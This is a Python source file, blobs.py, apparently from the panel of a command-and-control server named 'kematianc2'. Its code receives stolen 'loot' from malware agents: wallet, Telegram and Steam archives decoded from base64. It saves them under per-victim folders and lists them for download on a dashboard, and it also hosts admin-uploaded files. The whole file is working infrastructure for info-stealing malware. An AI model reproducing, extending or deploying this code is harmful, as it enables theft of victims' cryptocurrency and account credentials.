Files
kematianc2/panel/blobs.py
T
2026-08-27 11:23:01 -06:00

122 lines
4.0 KiB
Python

"""
Binary payload storage for the panel.
Payloads (wallet / telegram / steam zips) that the agent ships over E2EE are
written to disk under loot/<client_id>/ so they're persisted as a backup, and
tracked in the blobs table so the dashboard can list + download them.
"""
import base64
import os
import time
import db
# Root directory for all hosted payloads. Auto-created on first write.
LOOT_ROOT = os.path.join(os.path.dirname(__file__), "loot")
# Match the request size that the agent is allowed to send in one payload.
# Guard: refuse a single blob beyond this (avoids filling the disk).
MAX_BLOB = 64 * 1024 * 1024 # 64 MB
def save_payload(client_id, blob, conn=None):
"""Persist one payload dict from the agent. blob has keys:
category, name, filename, size, data (base64 str). Returns the blob row id.
If `conn` is provided (an already-open transaction, e.g. during ingest) the
DB insert runs on that connection and is NOT committed; otherwise a fresh
connection is used and committed."""
filename = (blob.get("filename") or blob.get("name") or "payload").replace("/", "_").replace("\\", "_")
data_b64 = blob.get("data", "")
try:
raw = base64.b64decode(data_b64)
except Exception as e:
raise ValueError(f"bad base64 payload: {e}")
if len(raw) > MAX_BLOB:
raise ValueError("payload too large")
os.makedirs(os.path.join(LOOT_ROOT, client_id), exist_ok=True)
path = os.path.join(LOOT_ROOT, client_id, filename)
with open(path, "wb") as f:
f.write(raw)
ts = int(time.time())
if conn is not None:
cur = conn.execute(
"INSERT INTO blobs (client_id, category, name, filename, size, created) "
"VALUES (?,?,?,?,?,?)",
(client_id, blob.get("category"), blob.get("name"), filename, len(raw), ts),
)
return cur.lastrowid
conn = db.get_conn()
try:
cur = conn.execute(
"INSERT INTO blobs (client_id, category, name, filename, size, created) "
"VALUES (?,?,?,?,?,?)",
(client_id, blob.get("category"), blob.get("name"), filename, len(raw), ts),
)
conn.commit()
return cur.lastrowid
finally:
conn.close()
def upload_public(filename, data, category="upload"):
"""Store an admin-uploaded file under loot/upload/ and track it in blobs.
Returns the blob row id."""
raw = data if isinstance(data, (bytes, bytearray)) else data.encode()
if len(raw) > MAX_BLOB:
raise ValueError("file too large")
filename = (filename or "download").replace("/", "_").replace("\\", "_")
client_id = "upload"
os.makedirs(os.path.join(LOOT_ROOT, client_id), exist_ok=True)
path = os.path.join(LOOT_ROOT, client_id, filename)
with open(path, "wb") as f:
f.write(raw)
ts = int(time.time())
conn = db.get_conn()
try:
cur = conn.execute(
"INSERT INTO blobs (client_id, category, name, filename, size, created) "
"VALUES (?,?,?,?,?,?)",
(client_id, category or "upload", filename, filename, len(raw), ts),
)
conn.commit()
return cur.lastrowid
finally:
conn.close()
def blobs_for(client_id=None):
conn = db.get_conn()
try:
if client_id:
rows = conn.execute(
"SELECT * FROM blobs WHERE client_id = ? ORDER BY id DESC", (client_id,)
).fetchall()
else:
rows = conn.execute("SELECT * FROM blobs ORDER BY id DESC").fetchall()
return [dict(r) for r in rows]
finally:
conn.close()
def blob_path(client_id, blob_id):
conn = db.get_conn()
try:
row = conn.execute(
"SELECT * FROM blobs WHERE id = ? AND client_id = ?", (blob_id, client_id)
).fetchone()
finally:
conn.close()
if not row:
return None
d = dict(row)
path = os.path.join(LOOT_ROOT, d["client_id"], d["filename"])
if not os.path.exists(path):
return None
return path